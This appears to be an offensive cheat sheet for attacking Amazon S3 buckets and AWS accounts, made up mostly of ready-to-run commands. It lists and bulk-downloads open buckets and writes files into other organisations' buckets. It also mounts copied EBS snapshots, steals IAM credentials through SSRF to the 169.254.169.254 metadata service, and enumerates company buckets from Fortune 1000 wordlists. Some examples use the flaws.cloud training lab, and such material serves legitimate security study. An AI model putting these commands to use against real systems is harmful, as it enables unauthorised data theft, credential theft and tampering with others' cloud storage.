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Amazon Bucket S3 AWS
Prerequisites, at least you need awscli
sudo apt install awscli
You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/
aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY]
aws configure --profile nameofprofile
then you can use --profile nameofprofile in the aws command
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/
Their names are also listed if the listing is enabled.
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
Alternatively you can extract the name of inside-site s3 bucket with %C0. (Trick from https://twitter.com/0xmdv/status/1065581916437585920)
http://example.com/resources/id%C0
eg: http://redacted/avatar/123%C0
Basic test - Listing the files
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
You can get the region with a dig and nslookup
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.192.11
$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
Move a file into the bucket
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
aws s3 mv test.txt s3://hackerone.marketing
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
Download every things (in an open bucket)
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
Check bucket disk size (authenticated) use, --no-sign for un-authenticated
aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
AWS - Extract Backup
aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",
aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
"SnapshotId": "snap-XXXX342abd1bdcb89",
Create a volume using snapshot
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
In Aws Console -> EC2 -> New Ubuntu
chmod 400 YOUR_KEY.pem
ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
Mount the volume
lsblk
sudo file -s /dev/xvda1
sudo mount /dev/xvda1 /mnt
Bucket informations
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
Bucket Finder
A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files.
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
US Standard = http://s3.amazonaws.com
Ireland = http://s3-eu-west-1.amazonaws.com
Northern California = http://s3-us-west-1.amazonaws.com
Singapore = http://s3-ap-southeast-1.amazonaws.com
Tokyo = http://s3-ap-northeast-1.amazonaws.com
./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words
Use a custom wordlist for the bucket finder, can be created with
List of Fortune1000 company names with permutations on .com, -backup, -media. For example, walmart becomes walmart, walmart.com, walmart-backup, walmart-media.
List of the top Alexa 100,000 sites with permutations on the TLD and www. For example, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart.